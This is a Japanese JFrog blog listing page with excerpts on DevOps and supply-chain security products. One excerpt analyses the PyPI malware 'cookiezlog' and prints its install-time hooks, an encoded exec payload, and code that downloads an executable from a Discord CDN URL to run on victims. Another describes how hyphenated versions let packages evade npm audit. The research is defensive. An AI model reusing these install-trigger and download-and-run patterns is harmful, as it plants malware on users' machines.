ようこそ
JFrog’s Blog

FILTER BY

JFrog の新機能 “Curation” の紹介

JFrog の新機能 “Curation” の紹介

先日JFrog の新機能 Curation がリリースされました。 Overview にもあるとおり、開発者がパッケージを利用する前から、パブリックリポジトリのパッケージ脆弱性を、ユーザーが定義したポリシーに合わせてチェックし、カタログ化したうえで各プロジェクトにおける利用可否を制御する機能です。 つまり一般的に言われている Shift Left よりもさらに前段階でセキュリティを担保することが可能となります。 では Workflow にそって実際の画面を見ていきましょう。 Curation サービスの管理 まずはプラットフォームの管理者が、管理者メニューから Curation サービスを有効にする必要があります。 無効化や通知の設定もここで設定します。 Curation 対象リポジトリの管理 次に Curation の対象とするリポジトリも管理者メニューから選択します。 プラットフォームに定義済みのリモートリポジトリの一覧が表示されます。既に Curation が有効になっているリポジトリは、トグルが Active になっています。無効なリポジトリを有効にしようとすると、既に定義済みのポリシーが適用される旨、確認が入ります。   組織レベルで既にポリシーが定義されていて、プロジェクトレベルで新たなリモートリポジトリを追加した際などご想像ください。なおこの後ポリシーを追加しますが、その際にも対象リポジトリを選択可能です。ただし、指定可能なリポジトリはこの管理画面上でActive化されているリポジトリのみです。なので流れとしては リモートリポジトリを作成 管理メニューで Curation 対象とする ユーザーメニューでポリシー作成 対象リポジトリを指定 となります。 今回はPyPIリポジトリのみActiveにしてみます。 Curation ポリシーの定義 ポリシーの管理はユーザーメニューから行います。 まずは名前から設定していきます。 次に対象リポジトリを指定します。すべて対象もしくは個別指定します。 個別指定時の一覧では管理メニューでActiveにされたものだけが表示されます。 次にポリシーにて有効とする条件を指定します。 対応する条件の詳細はこちらをご覧ください。 オプションで除外パッケージも指定可能です。 最後にアクションを指定します。 Block と Dry Run がありますが、Block は単にパッケージのダウンロードをブロックします。Dry…
Jenkins 用の新しい JFrog Plugin

Jenkins 用の新しい JFrog Plugin

アーティファクト管理が開発ライフサイクルの重要な部分であることは日本でも知られてきました。Jenkinsを使用している場合は、ビルドとバイナリも保存する必要があります。 DevOpsの世界では、ソフトウェアリリースを成功させるには、アーティファクトと依存関係の効率的な統合と管理が不可欠です。JenkinsとJFrog Artifactoryは共に、合理化されたビルドプロセスのための強力な組み合わせを提供します。Jenkins JFrog Pluginを利用することで、開発者はArtifactoryへのシームレスなインテグレーションによりJenkinsパイプラインジョブを強化でき、ソフトウェア開発ライフサイクルに多くの利点をもたらします。 この記事では、JFrogプラットフォーム、特にArtifactoryをJenkinsと簡単に統合する方法を説明します。そして、新しい Jenkins JFrog プラグインを使用すると、最新の機能がリリースされてすぐに、ビルドジョブ内から直接アクセスできるようになります。 Jenkins JFrogプラグインとは Jenkins JFrog Pluginを使用すると、JenkinsとJFrog プラットフォームを簡単に統合できます。この統合により、ビルドジョブでアーティファクトをデプロイし、Artifactoryとの間の依存関係を解決し、それらを作成したビルドジョブにリンクできるようになります。また、JFrog Xrayを使用してアーティファクトとビルドをスキャンしたり、JFrog Distributionを使用してソフトウェア パッケージをリモートの場所に配布したりすることもできます。JFrog CLIコマンドはどれも、JFrogプラグインを使用してJenkinsパイプラインジョブ内から実行できます。 Jenkins に JFrog プラグインを使用する利点: 統合の簡素化: JenkinsとJFrog の間にブリッジを作成します。ビルドジョブによって作成されたアーティファクトは、対応するJenkinsビルドにリンクされ、プロセス全体にわたるトレーサビリティと透明性が提供されます。 アーティファクト管理: パッケージの形式に関係なく、チームのアーティファクトを効果的に管理し、依存関係の解決を簡素化し、再利用性を促進します。Maven、Gradle、Dockerなど、30を超えるネイティブに統合されたパッケージとファイルタイプに対応しています。 高度なセキュリティ: アーティファクトとビルドをスキャンして、セキュリティの脆弱性、ライセンスコンプライアンス違反、その他の潜在的なリスクを検出します。パイプラインの早い段階で潜在的な問題を発見し、セキュリティの脅威を軽減して、ソフトウェアの信頼性と安定性を確保します。 効率的なアプリケーション配布: 分散環境全体への迅速なデプロイとシームレスなコラボレーションのために、離れたロケーションへのグローバルソフトウェアパッケージの配布を自動化します。 シームレスなパイプラインオーケストレーション: パイプラインスクリプト内からさまざまなJFrog CLIコマンドを活用し、アーティファクトのアップロードやデプロイメントのトリガーなどのJFrogタスクの実行を簡素化します。 新しいJenkins JFrogプラグイン 現在、JFrogは2つの異なるJenkinsプラグインを提供しています。まずJFrog ArtifactoryプラグインはGroovyベースでパイプラインからAPIを実行しますが、新しいJenkins JFrog プラグインはJFrog CLIコマンドを実行する単一のステップを実現します。これにより、利用可能なJFrog CLIコマンドを簡単に実行できるようになります。両方のバージョンを好みに応じて使用できます。使用したい特定のJFrog CLIバージョンも自由に選択できます。新しいJenkins JFrogプラグインに移行し、最新かつ最高の機能を利用することをお勧めします。 すぐに始める方法は次のとおりです。 始めに Manage Jenkins > Pluginsに移動し、「JFrog」を検索してJFrogプラグインをインストールします。 パイプラインジョブでJFrog CLIを使用するには、Manage Jenkins >…
GitLab CI/CDとJFrogで完成させるソフトウェアサプライチェーン

GitLab CI/CDとJFrogで完成させるソフトウェアサプライチェーン

ソフトウェアはコーディングだけでは完成しません。ソフトウェアを開発し、高品質なビルドを保証するには、完全なソフトウェアサプライチェーンを管理する必要があります。サプライチェーン全体に セキュリティ上の脅威 が数多く存在するため、顧客に提供するソフトウェアのあらゆる側面(ソフトウェアの作成プロセス全体を含む)を管理することが組織にとって重要です。これは、DevOpsとセキュリティのベストプラクティスを組み込むようにソフトウェアリリースサイクルを設定することを意味します。課題は、これをソフトウェアリリースのシームレスな部分である、継続的なフローとして実行することです。 すでにGitLabをCIワークフローエンジンとして使用している場合は、ソフトウェアリリースが1回限りで終わるわけではないことをご存知でしょう。継続的なセキュリティ、コード管理、ソフトウェアの継続リリース、リリース環境別の管理などを通じて、ソフトウェアサプライ チェーンのフィードバックループを完了する必要があります。これを実現するために、GitLab プロセス を JFrog プラットフォーム と統合して、完全なソフトウェアサプライ チェーン管理ソリューションを提供します。 GitLab CI/CD用のJFrogテンプレートギャラリー JFrog GitLab テンプレートリポジトリ を使用すると、JFrogプラットフォームを既存のGitLab CI/CDに簡単に統合してセットアップでき、完全なソフトウェアサプライ チェーンを実現できます。 テンプレートギャラリーには、.NET, go, Gradle, Maven, npm, NuGet, Pip, Pipenv, Yarnなどの一般的なビルドツール用にすぐ使用できるテンプレートが含まれています。各テンプレートは、セキュリティ設定や、ビルドインテグレーションのためのJFrog機能を提供します。 たとえば、”audit”テンプレートを使用すると、ソースコードをスキャンしてセキュリティの脆弱性やライセンスコンプライアンスの問題を見つけることができます。   default: image: maven:3.8.6-openjdk-11-slim include: - remote: "https://releases.jfrog.io/artifactory/jfrog-cli/gitlab/v2/.setup-jfrog-unix.yml" # For Windows agents: #- remote: "https://releases.jfrog.io/artifactory/jfrog-cli/gitlab/v2/.setup-jfrog-windows.yml" jfrog-maven-audit: script: - !reference [.setup_jfrog, script] # Configure JFrog Artifactory repositories…
JFrog Artifactoryとは

JFrog Artifactoryとは

近代のソフトウェアサプライ チェーンは複雑です。JFrogの調査によると、ほとんどの企業が12種類以上のパッケージタイプを使用しており、アプリケーションの90%がオープンソース ソフトウェアに依存しています。さらに、ソースコードマネージャー (SCM)、統合開発環境 (IDE)、CI/CD製品など、ソフトウェア開発プロセスをサポートする幅広いツールも存在します。 しかし、ソフトウェアサプライチェーンに関連するさまざまな活動を個別のツールで管理するのは難しい場合があります。これにより、組織全体での一貫したDevOps実践が遅れ、リスクが増大し、ソフトウェアリリースの速度、安全性、品質が制限されます。 これらのリスクを軽減し、DevOps プロセスを合理化するために、世界の先進企業はJFrog Artifactoryのようなツールを使用しています。JFrog Artifactoryは、ソフトウェアを安全な方法で簡単にリリースおよび管理できるように設計されたアーティファクトリポジトリおよびバイナリマネージャーです。 Artifactory とは何か、DevOpsチームがArtifactoryをどのように使用するか、Artifactoryのようなツールがソフトウェアリリースプロセスにどのように価値を加えるかについて説明いたします。 Artifactory を無料で試す JFrog Artifactoryとは? Artifactoryは、バイナリとアーティファクトをホスティング、管理、リリースするためのユニバーサルDevOpsソリューションです。アプリケーションインストーラー、コンテナ イメージ、ライブラリ、構成ファイルなど、バイナリ形式のあらゆる種類のソフトウェアコンポーネントは、Artifactoryを使用してキュレーション、保護、保存、リリースできます。 「Artifactory」という名前は、ソフトウェア開発「生産工程≒工場(ファクトリー)」で必要なあらゆる種類の「成果物(アーティファクト)」をホストできるという事実を反映しています。ソフトウェア開発において、成果物とは、ソフトウェアの開発およびリリースのプロセス中に生成されるオブジェクトを指します。アーティファクトには、アプリケーションのインストールと実行に使用されるファイルのほか、ソフトウェアの構成または管理に必要な補足情報も含まれます。 Artifactory は、DevOpsプロセスの中心ハブとして機能します。すべてのアーティファクト、依存関係、パッケージなどは、最終的にはArtifactoryに入れられたり、Artifactoryから引き出されたりします。 Artifactoryの動作を確認するには、Artifactory の紹介ビデオをご覧ください。 アーティファクトリポジトリとは? アーティファクトリポジトリ(バイナリリポジトリとも呼ばれます)は、さまざまな種類のアーティファクトを一元的に格納、管理、バージョン管理、デプロイするように設計されています。 アーティファクトは保存され、特定のプロジェクトのすべての開発者と共有する必要があるほか、一般的なCI/CDプロセスで使われるさまざまなツールにも必要です。品質、信頼性、監査可能性を確保するには、すべての成果物を保管、バージョン管理し、開発チーム全体、場合によっては複数の拠点全体に展開する必要があります。適切なツールがなければ、これは大きな課題となる可能性があります。 アーティファクトリポジトリは、増え続けるアーティファクトを管理するための最良のソリューションであると広く考えられています。 ユニバーサルアーティファクトマネージャーの利点 ユニバーサルアーティファクトマネージャー(ユニバーサルリポジトリマネージャーとも呼ばれます)は、組織にソフトウェアサプライ チェーンのすべてのコンポーネント(つまり、アーティファクト、バイナリ、パッケージ、コンポーネントなど)を制御できるようにします。 パブリックリポジトリのプロキシや依存関係の管理から、使用するバイナリのスクリーニングと承認に至るまで、ユニバーサルアーティファクトマネージャーは、ソフトウェア開発に信頼できる唯一の情報源を提供し、バイナリがパイプラインに入って進む際の中心ハブとして機能します。 Artifactoryは完全自動化によりこれをさらに一歩進めます。これは対応するパッケージマネージャのネイティブインターフェースをサポートするユニバーサルアーティファクトマネージャーであり、パッケージ、ビルド ツール、自動化スクリプトなどと「同じ言語を話す」ことを意味します。他のユニバーサル リポジトリマネージャーもネイティブ サポートを提供する場合がありますが、原則からサポートしているのはArtifactoryだけです。リモートおよび仮想リポジトリレベル、すべてのパッケージタイプの高可用性 (HA) およびレプリケーションも備えています。 JFrog Artifactoryを使用したアーティファクト管理の詳細をご覧ください。 Artifactoryの機能は? Artifactoryの中核には4つの重要な機能があります。 自動重複排除機能を備えた、ファーストパーティとサードパーティの両方からのソフトウェアバイナリとアーティファクトを一元的に保存する場所。 不変性を導入したバージョン管理ツールにより、ソフトウェアのバイナリとアーティファクトが時間の経過とともにどのように変化するかを追跡することができます。 きめ細かいアクセス制御ルールに基づいて、ソフトウェアのバイナリとアーティファクトを開発者とクライアントに配布/リリースする方法。 スケーラビリティのためのマルチサイトサポートにより、世界中に分散した開発チームまたはリリース先へのソフトウェアコンポーネントに対する信頼できるアクセスが提供されます。 Artifactory機能セットの詳細については、「JFrog Artifactory ソリューション シート」を参照してください。 Artifactoryではやらないこと:ソースコード管理 Artifactoryは、アプリケーションの構築に使用されるソースコードのホスティング、管理、バージョン管理を目的として設計されていないことに注意してください。この作業には、Git、Apache Subversion、CVSなどのSCMソリューションが必要になります。 代わりに、Artifactoryはソフトウェアバイナリとアーティファクトの管理に特化して設計されています。これらのリソースは通常、ソースコードに基づいていますが、ソースコードとは異なり、ソースコードレベルでは入手できない重要な情報が含まれています。 DevOpsチームがArtifactoryを使用する方法 DevOpsチームにとって、Artifactoryは、CI/CDパイプラインにおいてソフトウェア開発とソフトウェアリリースの間に存在する重大なギャップを埋めます。…
PyPIマルウェアの作成者に支持されるアンチデバッグのテクニック

PyPIマルウェアの作成者に支持されるアンチデバッグのテクニック

JFrogセキュリティリサーチチームは、人気のあるオープンソースソフトウェア(OSS)リポジトリを自動化ツールで継続的に監視し、発見された脆弱性や悪意のあるパッケージをリポジトリのメンテナやより広いコミュニティに報告しています。 今日、ほとんどのPyPIマルウェアは、原始的な変数の操作から洗練されたコードの平坦化やステガノグラフィ技術まで、様々な技術を使って静的検出を回避しようとします。これらの手法が使われることにより非常に怪しいパッケージになりますが、経験が少ないリサーチャーが静的解析ツールを使ってマルウェアの正確な動作を理解できないようにします。しかし、マルウェアサンドボックスのような動的解析ツールは、マルウェアの静的防御のレイヤーを素早く取り除き、その背後にあるロジックを明らかにすることができます。 最近、攻撃者はさらに進化しています。私たちは最近、通常の難読化ツールやテクニックに加え、(動的解析ツールを妨害するように設計されている)アンチデバッグコードを採用していると思われるcookiezlogパッケージを検出し、公開しました。これは(他に公開されている記事含め)私たちの研究者チームがPyPIマルウェアにこの種の防御を発見した最初の例です。 この記事では、このPythonマルウェアで使用されているテクニックの概要と、類似のマルウェアを解凍する方法について説明します。 インストールトリガー 悪意のあるほとんどのパッケージと同様に、cookiezlogパッケージはインストールするとすぐに実行されます。これは setup.py の "develop" と "install" トリガーで実現されます。 class PostDevelopCommand(develop): def run(self): execute() install.run(self) class PostInstallCommand(install): def run(self): execute() install.run(self) ... setup( name='cookiezlog', version='0.0.1', description='Extra Package for Roblox grabbing', ... cmdclass={ 'develop': PostDevelopCommand, 'install': PostInstallCommand, }, ) 静的難読化 その1 - トリビアル(trivial)な例 最初の、そして最も単純な防御レイヤーはzlibでエンコードされたコードで、パッケージがインストールされた直後に実行されます。 def execute(): import marshal,zlib;exec(marshal.loads(zlib.decompress(b'x\x9cM\x90\xc1J\xc3@\x10\x86\xeb\xb5O\xb1\xec)\x01\xd9\xdd4I\x93\x08=\x84\xe0A\xa8(\xa1\x1e<\x85\x98\x0c6hv\xd7...'))) 解読されたペイロードは、ハードコードされたURLからファイルをダウンロードし、被害者のマシンで実行されます。 URL = "https://cdn.discordapp.com/attachments/1037723441480089600/1039359352957587516/Cleaner.exe" response…
目に見えないnpmマルウェア:特定のバージョン表現でセキュリティチェックを回避

目に見えないnpmマルウェア:特定のバージョン表現でセキュリティチェックを回避

npm CLIには、非常に便利でよく知られたセキュリティ機能があります。npm パッケージをインストールする際、CLI はパッケージとその依存関係をすべてチェックして、既知の脆弱性がないか調べます。 このチェックはパッケージのインストール時(npm install実行時)に自動で行われますが、npm auditを実行することで手動で行うことも可能です。 これは、既知の脆弱性を持つパッケージを使用しないよう、開発者に警告を発する重要なセキュリティ対策につながります。 最近、セキュリティに影響を与える可能性のあるnpm ツールによる予期せぬ動作を検知しました。それは、npm install と npm audit の両方において、特定のバージョン形式になっている場合、パッケージに対する脆弱性に関する警告が表示されないというもので、これらのパッケージを使用している開発者は重大な脆弱性やマルウェアを自分のシステムやnpmパッケージの間接的な依存関係として持ち込んでしまう可能性があります。 このブログでは、この問題の詳細、そして攻撃者が公開した悪意のあるパッケージのセキュリティチェックを回避するためにこの問題をどのように利用するのか、また開発者がこの問題に混乱させられないようにするにはどうすればよいのかについて詳しく説明します。 思いがけない結果 いくつかの npm パッケージで作業している際、npm CLI と JFrog Xray で報告された脆弱性の間に興味深い不一致があることに気が付きました。 特定のパッケージ「cruddl 2.0.0-update.2」をインストールすると、npm と Xray から異なる脆弱性の報告を受け取りました。 同じパッケージに対して、npmの発見した脆弱性は0件でしたが、Xrayは脆弱性を1件(CVE-2022-36084)発見しました。これがバグの可能性があるものなのか、それとも別のものなのか、調べてみることにしました。 課題に関する詳細調査 いくつかの試行錯誤とパッケージのインストールを行ったところ、この不一致はインストールしたパッケージのバージョンにダッシュ/ハイフン文字(例:1.2.3-a)が含まれている場合のみ発生することに気づきました。ではなぜこのようなことが起こるのでしょうか? パッケージをアップロードするとき、npmはセマンティック バージョニング(Semantic Versioning)に準拠した厳密なバージョン形式を推奨しており、node-semverで解析可能でなければなりません。例えば、これら2つは有効なバージョン表現です: 5.6.7, 5.6.7-a。 npm-install/auditツールは、依存するすべてのパッケージとそのバージョンをjson(辞書形式)に収集し、Bulk Advisory endpointという名前のnpm APIエンドポイントに送ります。このエンドポイントは各パッケージとバージョンを調べ、 バージョンをアドバイザリの影響範囲と一致させることで関連するアドバイザリを見つけようとします。そして、APIエンドポイントから返されるリストに、これらすべての関連するアドバイザリを追加します。 今回確認したのは、Bulk advisory endpointは、バージョンにハイフン(-)の後に追加文字を含むパッケージのセキュリティアドバイザリの取得に失敗するということです。 「ハイフン付きバージョン」って何のこと?? セマンティック バージョニング(Semantic Versioning)の仕様によると、バージョンの形式はMAJOR.MINOR.PATCHです(例:5.6.7)。 ただし、第9項にあるように、プレリリースバージョンは「パッチバージョンの直後にハイフンとドット区切りの一連の識別子を付加する」ことで指定することができます(例:5.6.7-a)。 動作の原因を推測 npmエンドポイントのコードはクローズドソースであるため、問題がどこに起因しているかは推測するしかありません。 各アドバイザリには(サンプルはこちらから)、影響を受けるバージョンの範囲を表す論理式(例: >…
DevOpsを中心としたセキュリティがついに登場|JFrog Advanced Securityを発表

DevOpsを中心としたセキュリティがついに登場|JFrog Advanced Securityを発表

本日は、エンドツーエンドのソフトウェアサプライチェーンセキュリティの確保に向けて大きく前進した、JFrogにとってとてもエキサイティングな一日です。JFrog Advanced Securityは、DevOpsを中心としたセキュリティのための当社独自のアプローチであり、最新のDevOpsワークフローのために特別に設計された唯一のソリューションです。 開発者とそのDevOpsインフラは、現在ハッカーや悪意のある攻撃者から攻撃の標的とされています。膨大な量のオープンソースライブラリやバイナリはもちろんのこと、無数のツールやプロセスがソフトウェアサプライチェーン全体に偶発的または悪意をもってリスクを注入する機会を与えています。ソフトウェアサプライチェーン(SSC)の所有者であるDevOpsチームは、組織における事実上の「セキュリティの管理者」となっています。同時に、セキュリティチームは、開発チームが必要とするリソースである複数のツール、設定、レポートなどのバランスを取りつつ、コンプライアンスとビジネス要件における責任も求められています。 現在、これらのグループの橋渡しや、統一されたデータとインサイトを提供するソリューションはなく、開発組織におけるセキュリティチームは、自分たちの主な職務を超える要求、プロセス、規制に圧倒される、事実上のタスクマスターになっています。さらに、テクノロジー、レポート、集計、そしてもちろんマニュアルの分析と評価を必要とする無数のポイントソリューションに阻まれる中で、一元化されていないコンテキストと修正アドバイスを提供せざるを得ないという状況が増えてきています。 ソフトウェアサプライチェーンのセキュリティの脅威の新時代に向けて、これまでとは異なる総合的なアプローチが必要となっています。 DevOpsのためのセキュリティ JFrogは、エンドツーエンドのバイナリ管理のパイオニアであり、それは水が流れるようにソフトウェアを継続的にアップデートする「リキッドソフトウェア」というビジョンを支える中核技術です。開発から本番環境で実行されるまでの完全なるソフトウェア管理を可能にするため、自然かつ実質的な進化を続ける中で、セキュリティは重要な要素となり、重要な実現方法となってきました。 この進化をもたらした主なポイントは数多くあり、下記などが含まれます。 開発者、本番環境運用担当、セキュリティ担当をつなぐ架け橋としての、また、その中核でサプライチェーンの統治と制御を可能にするプラットフォームとしてのJFrogのユニークなポジション ソースコード解析に焦点を当てたシフト・レフトによるセキュリティに対するアプローチだけでなく、Log4Shell、Spring4Shell、SolarWindsなどのソフトウェアのサプライチェーン全体にわたるセキュリティの必要性を高める最近のセキュリティに関する非常に大きな問題の発生 2021年5月の大統領令、最近のH.R.7900法案、ホワイトハウス管理予算局(OMB)の覚書「安全なソフトウェア開発手法によるソフトウェアサプライチェーンのセキュリティ強化」など、毎週のように作成される新しいセキュリティ要件や規制の発行。最近では、英国の国家サイバーセキュリティセンターによる新たなソフトウェアサプライチェーンの指針や、欧州連合による追加イニシアティブも見られるようになりました。 とりわけ、JFrogのユニークなバイナリレベルのアプローチは、ソースコードを超えた洞察を提供し、ソフトウェアにおける実際のセキュリティリスクと疑わしいセキュリティリスクを真に理解することを可能にします。 信頼できる唯一の情報源からのセキュリティ Fortune 100の大半を含む世界中の何百万人もの開発者と何千もの企業が、ミッションクリティカルなソフトウェアのサプライチェーンを安全に管理するために、すでにJFrogのソリューションを利用しています。JFrogプラットフォームは、重要なソフトウェア資産であるバイナリを管理するための一元的で信頼できる唯一のの情報源となります。真のエンドツーエンドのセキュリティソリューションを提供しようとするセキュリティベンダーは、これらのソフトウェア資産へのアクセスに完全に依存しています。結局のところ、中央をコントロールすることなしにシフトレフトすることもシフトライトすることもできないのです。 「シフトレフト」のアプローチでは不十分 ソースコードのプレイヤー(SCAツールや典型的なアプリケーションテストであるSAST、DAST、ファズテストを実行するツールなど)は、ソースコード解析だけでは本当の意味でコンテキストを分析することはできないと理解しています。コンテキストを理解するには、コードだけよりもはるかに多くの情報を含むソフトウェアバイナリを確認することによってのみ実現できます。コンテナ、アーカイブ、単純なEPMファイルでさえも、すべてソフトウェアがどう言った姿なのかを示します。バイナリは顧客に提供される最終的な形式であるため、当然ながら昨今の攻撃者はバイナリをターゲットにしています。この重要な情報なしに、リスクを判断するためのコンテキストな理解を提供することは不可能です。開発者のIDEにのみ焦点を当てた場合、特定された問題を効率的かつ優先的に特定、改善、緩和、修正することはできません。セキュリティは、コードから、コンパイルされたコード、イメージ、ビルド、リリース、そしてランタイムまで、包括的に取り扱う必要があります。 ランタイムセキュリティのためにシフトライトするだけでは十分ではありません ランタイムとプロダクションに焦点を当てたエンタープライズ・セキュリティ・ソリューション(クラウドセキュリティやコンテナセキュリティなど)は、少し「レフト」に寄っていますが、ソースのピュアプレイヤーほどではありません。彼らは、DevOpsプロセスを通じて、本番環境での発見を開発者にフィードバックするために、必要な範囲でそれを行っているだけです。 サプライチェーンソリューションには、バイナリだけでなくソースも可視化することが必須です。もし製品のサプライチェーンの中心部がバイナリレベルで見れない場合、その内部の可視性を提供することはできませんし、結果として、包括的なセキュリティを提供することもできません。 Vdooの買収後、JFrogはDevOpsのために設計されたセキュリティソリューションを構築し提供するためにセキュリティへの取り組みを劇的に加速させました。Vdooがもたらすバイナリ分析機能は、JFrogのプラットフォームがDevOpsに提供する一元化された「信頼できる情報源」と相まって、真のエンドツーエンドのセキュリティとそのコントロールを可能にします。これにより、開発者、DevOpsエンジニア、セキュリティリーダーのオーバーヘッドを劇的に削減する、統合された効果的なエクスペリエンスが実現します。 昨年を通して、JFrog XrayとXrayデータベースは大幅に強化・改良されました。それにより、IDEを介したシフトレフトと深いバイナリレベルの分析の両方をカバーする、エンタープライズ向けの主要製品に生まれ変わりました。この度のJFrog Advanced Securityの提供開始により、JFrogのセキュリティ製品は飛躍的に進歩し、DevOpsワークフローに組み込めるように設計された総合的なセキュリティソリューションとなりました。JFrog Advanced Securityは、Xrayをこれまで以上に多くの革新的な機能で強化し、JFrog Artifactoryと連携して現代のサプライチェーンの脅威に対応し、バイナリを単一のプラットフォームで管理することを可能にします。 JFrog Advanced Securityについて JFrog Advanced Securityは、サプライチェーンの脅威に関連する多くの新機能でXrayを補強します。この新しいセキュリティ群を提供するために、まずJFrog Xrayを大幅に強化し、CVEと悪意のあるパッケージに関するJFrogセキュリティリサーチチーム独自のデータ、さらにデータベース内のCVE項目に追加された詳細な修正と緩和の指示を取り込むようにしました。CVEとライセンスに関するJFrog Xrayのデータの信頼性を高め、JFrog Xrayのスケーラビリティを強化し、データ更新の待ち時間を大幅に短縮することに注力しました。さらに「運用リスク」ポリシー機能が追加され、メンテナンスの数、メンテナンスの頻度などのソフト属性に基づいたパッケージブロックの決定が可能になりました。 JFrog Xrayのコアテクノロジーのアプローチは、パッケージのメタデータの正確で効率的なインデックス作成に基づくものです。JFrog Advanced Securityは、パッケージマネージャやSBOM、典型的なメタデータではアクセスできないデータを調べるために、バイナリを深くスキャンするという新しいアプローチを追加しました。これにより、特にコンテナに関しては、分析されたバイナリのセキュリティ状態を新しく理解することができます。指定されたスキャナを使用すると、ほとんどの場合、ソースコード解析では発見できないセキュリティ問題を特定することができます。このような掘り下げたスキャンを使用することで、初めてセキュリティ問題をコンテキストに沿って包括的に理解できるようになります。つまり、盲点となっている問題を特定するだけでなく、本番環境に与える潜在的な影響も理解できるようになります。これは、ソースコード解析だけと比較した場合、ソフトウェアに対するより広い視野を持っているためです。 JFrog Advanced Securityの一部として利用可能な新機能を追加しました。 1. コンテナに対するCVEのコンテキスト分析 SCAツールに関して開発者から寄せられたよくある意見の1つに、あまりにも多くの結果を生成するため、実際には何のリスクもない多くの脆弱性を修正する必要があるというものがありました。また、これらの結果は、コンテキストがないため、非効率的または誤った優先順位を付けられていることも分かりました。従来のCVSSスコアリング手法は、分析対象ソフトウェアの特定の構成、セキュリティメカニズム、その他の属性を考慮しないため、さらに複雑なものとなっています。 JFrog Advanced Securityは、コンテナおよびその特定のコンテンツと属性を深く分析することにより、特定されたCVEが明らかになった場合にその影響を受ける可能性を調べるという、コンテナに対する初の機能を導入しています。例えば、自チームで開発したコードが、特定のCVEに関連する脆弱なパッケージ内の脆弱な関数を呼び出しているかどうかをチェックします。また、追加の設定やファイルの属性をスキャンして、CVEを悪用するための前提条件が満たされているかどうかを判断します。製品のセキュリティに影響を与えるCVEを0個にすることや、緩和策の代替案を求める米国のH.R.7900法案のような新しいサプライチェーンに対するセキュリティ規制が行われる時代には、コンテキスト分析は納期に影響を与えず、ソフトウェア製品のセキュリティを確保する唯一の方法となります。また、コンテキスト分析は、コンテナの特定の属性と構成を考慮し、具体的で実行可能かつ費用対効果の高い改善策を推奨します。開発者は初めて、「単にすべてを修正する」ことを求められるのではなく、正確で、最小限の労力で問題を修正する方法の指示を含む証明と優先順位が提供されるようになるのです。ソースコード(IDE経由)とJFrog Advanced Securityによるバイナリ解析の両方にコンテキスト分析を適用することは、最小限の労力と後戻りしない修正で、安全なソフトウェアにつながる究極のアプローチと言えます。バイナリはソフトウェア開発の中心であり、JFrogプラットフォームのコアコンピタンスです。バイナリをコンテキストに沿ってスキャンすることは、今日提供できる最も高度で合理的なスキャンと修正のパスです。 2. 認証情報の露出…
JFrog XrayとAWS Security Hubのインテグレーション

JFrog XrayとAWS Security Hubのインテグレーション

SecOpsは警戒を必要としますが、可視化も必要です。JFrogの最新のXrayとAWS Security Hubのインテグレーションにより、検出された脆弱性を確認するだけでなく、迅速に対処できるようになります。 AWS Security Hubは、AWSユーザーが利用できるクラウドセキュリティ状態管理サービスです。セキュリティのベストプラクティスのチェック、通知の集約、自動修復のサポートといった、AWSアカウント全体のセキュリティ管理を一元的に行えます。 今回、Xrayのユニバーサルソフトウェア構成分析ソフトウェア構成分析(SCA)とAWS Security Hubの連携により、ライセンスポリシー違反やセキュリティ脆弱性を収集、分析、対応が可能になりました。これにより、Xrayの脅威に対する警戒をクラウドの全体的なセキュリティ状態にインテグレーションできます。 インテグレーションされたクラウドセキュリティ状態 このインテグレーションにより、JFrog XrayをDevSecOpsに活用しているAWSのお客様は以下のことを実現できます。 AWS Security Hubを通じて、脆弱性とコンプライアンスの脅威を可視化 JFrogセキュリティリサーチチームの拡張した脆弱性データで脅威を評価 クラウドセキュリティ状態の一部として脆弱性をコンテキスト化し、優先順位付け SOARワークフローを自動化し平均修復時間(MTTR - mean time to remediation)を短縮 Xrayでルール、ポリシー、ウォッチの設定時に、監視したいArtifactoryリポジトリと、どのような脅威に対して通知するかを選択します。XrayをAWS Security Hubとインテグレーションすることで、これらの通知はクラウドセキュリティ管理サービスに送信し、そこで評価と修復が行われます。 JFrog Platformのデプロイがどこで実行されていても(AWS上か他のインフラか)、またSaaSまたはセルフホスティングのJFrogクラウドまたはオンプレミアアカウントでも、XrayとAWS Security Hubをインテグレーションできます。そのため、本番環境のリポジトリが別の場所でホストされていても、AWS Security HubでXrayからの通知を確認できます。 簡単なインストール JFrog XrayとAWS Security Hubのインテグレーションは、AWS Security Hub Integrations コンソールから利用できます。AWSアカウントに関連付けられたAWS Security Hubコンソールからインテグレーション可能で、そこには詳細なインストール手順も記載されています。 インテグレーションを容易にするため、AWS Serverless Application Repositoryに公開します。 AWSアカウントにインテグレーションをデプロイする際、アプリケーションの設定(デプロイメント環境、API認証トークンなど)を入力し、インテグレーションを構成する必要があります。 AWSアカウントにインテグレーションをインストール後、JFrog Platform for AWS Security Hubに新しいWebhookを追加する必要があります。次に、違反通知をSecurity Hubに送信したいXrayでのポリシー毎に、そのポリシールールを自動アクションとしてTrigger…
Devopsカンファレンス「DevOps Kaigi 2022」のオンデマンド・サイトにようこそ

Devopsカンファレンス「DevOps Kaigi 2022」のオンデマンド・サイトにようこそ

2022年6月17日に、JFrogのDevopsカンファレンス、「DevOps Kaigi 2022」を開催いたしました。 ここからはオンデマンド・サイトの各セッションをお楽しみいただけます。イベントレポートも併せて、ぜひご覧ください。 さまざまな業界や企業においてDevOpsを推進するビジネスリーダー、開発者、運用担当者、セキュリティ担当者の皆様にご覧いただきたいコンテンツをご用意いたしました。 JFrog ユーザーカンファレンス Devopsカンファレンス「DevOps Kaigi 2022」のオンデマンド・サイト 1日限りのオンライン・カンファレンスがオンデマンド・サイトになりました。 オンデマンド・セッションのアジェンダからご興味のあるセッションご覧いただけます。 セッションタイトルをクリックすると各セッション頁が開きます。 JFrogとDevOpsについて学んでみませんか? アジェンダ DevOpsの進化: 2022 (DevOps Evolved: 2022) JFrog CEO & Co-Founder Shlomi Ben Haim (シュロミ・ベン・ハイム) JFrog 最新情報 JFrog Japan株式会社 シニア DevOps アクセラレーションエンジニア 三宅 剛史 NAVITIMEの経路探索の進化を支える自社開発とDevOps 株式会社ナビタイムジャパン 取締役副社長 兼 最高技術責任者 菊池 新 氏 Yahoo! Japan が取り組む技術シフトとCI/CDツールの変遷 ヤフー株式会社 システム統括本部 セキュリティ&デベロッパーPF本部 DPS部 部長 長谷川 貴史 氏 DevSecOpsで推進する日立のビジネスおよびモダナイゼーション 株式会社日立製作所 アプリケーションサービス事業部 Lumadaソリューション推進本部 LSH事業推進センタ長…
DevOps Kaigi 2022 イベントレポート

DevOps Kaigi 2022 イベントレポート

